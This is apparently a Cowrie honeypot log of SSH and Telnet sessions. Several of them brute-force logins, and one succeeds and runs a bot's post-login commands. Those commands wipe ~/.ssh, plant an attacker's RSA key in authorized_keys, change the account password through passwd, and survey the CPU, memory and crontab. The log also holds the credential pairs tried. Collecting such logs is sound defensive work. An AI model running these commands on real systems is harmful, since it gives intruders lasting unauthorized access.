{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":54386,"dst_ip":"159.203.135.109","dst_port":22,"session":"84637e9707bd","protocol":"ssh","message":"New connection: 193.37.70.224:54386 (159.203.135.109:22) [session: 84637e9707bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:43.795213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:43.806028Z","src_ip":"193.37.70.224","session":"84637e9707bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:43.895878Z","src_ip":"193.37.70.224","session":"84637e9707bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lthtdyz","message":"login attempt [root/lthtdyz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:44.164750Z","src_ip":"193.37.70.224","session":"84637e9707bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:45.255923Z","src_ip":"193.37.70.224","session":"84637e9707bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.227.125.15","src_port":35184,"dst_ip":"159.203.135.109","dst_port":22,"session":"474da8fcbc5d","protocol":"ssh","message":"New connection: 212.227.125.15:35184 (159.203.135.109:22) [session: 474da8fcbc5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:52.510409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:52.515901Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:52.596441Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin2025","message":"login attempt [admin/admin2025] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:52.946911Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:53.156132Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:53.159794Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:53.163844Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:53.324259Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.23939490318298,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:53.385584Z","src_ip":"135.148.14.151","session":"da400b44cafb","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:53.460449Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:53.464116Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:53.549319Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:53.553428Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.227.125.15","src_port":35194,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5cbf8dfcd96","protocol":"ssh","message":"New connection: 212.227.125.15:35194 (159.203.135.109:22) [session: c5cbf8dfcd96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:55.709445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:55.714661Z","src_ip":"212.227.125.15","session":"c5cbf8dfcd96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:55.795063Z","src_ip":"212.227.125.15","session":"c5cbf8dfcd96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:56.146573Z","src_ip":"212.227.125.15","session":"c5cbf8dfcd96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:57.230645Z","src_ip":"212.227.125.15","session":"c5cbf8dfcd96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54318,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a6968d5e859","protocol":"telnet","message":"New connection: 135.148.14.151:54318 (159.203.135.109:23) [session: 7a6968d5e859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:57.643678Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:05.389598Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:05.393512Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:05.556861Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:05.702382Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin2025\\nmEehxuL2Lf6V\\nmEehxuL2Lf6V\"|passwd|bash","message":"CMD: echo -e \"admin2025\\nmEehxuL2Lf6V\\nmEehxuL2Lf6V\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:05.706267Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:05.710680Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:05.714587Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/610f64ebe36ec81f91ca683fe2fd0a9d929e9e20b6b94b3f5506428582c983b3","size":32,"shasum":"610f64ebe36ec81f91ca683fe2fd0a9d929e9e20b6b94b3f5506428582c983b3","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/610f64ebe36ec81f91ca683fe2fd0a9d929e9e20b6b94b3f5506428582c983b3 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:05.877411Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:06.051057Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin2025\\nmEehxuL2Lf6V\\nmEehxuL2Lf6V\\n\"|passwd","message":"CMD: echo \"admin2025\\nmEehxuL2Lf6V\\nmEehxuL2Lf6V\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:06.054755Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8d14b9a3b1f372e642d6d8f12930cf25c8ea07c360c7da3639219aa3d043aea4","size":25,"shasum":"8d14b9a3b1f372e642d6d8f12930cf25c8ea07c360c7da3639219aa3d043aea4","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/8d14b9a3b1f372e642d6d8f12930cf25c8ea07c360c7da3639219aa3d043aea4 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:06.215253Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:06.359672Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:06.363544Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:06.524943Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:06.664528Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:06.667910Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:06.829240Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:06.968190Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:06.971779Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:06.975544Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":65,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:07.137673Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:07.276938Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:07.280335Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:07.440269Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:07.581915Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:07.585567Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:07.753424Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:07.898932Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:07.903182Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:08.065078Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:08.211036Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
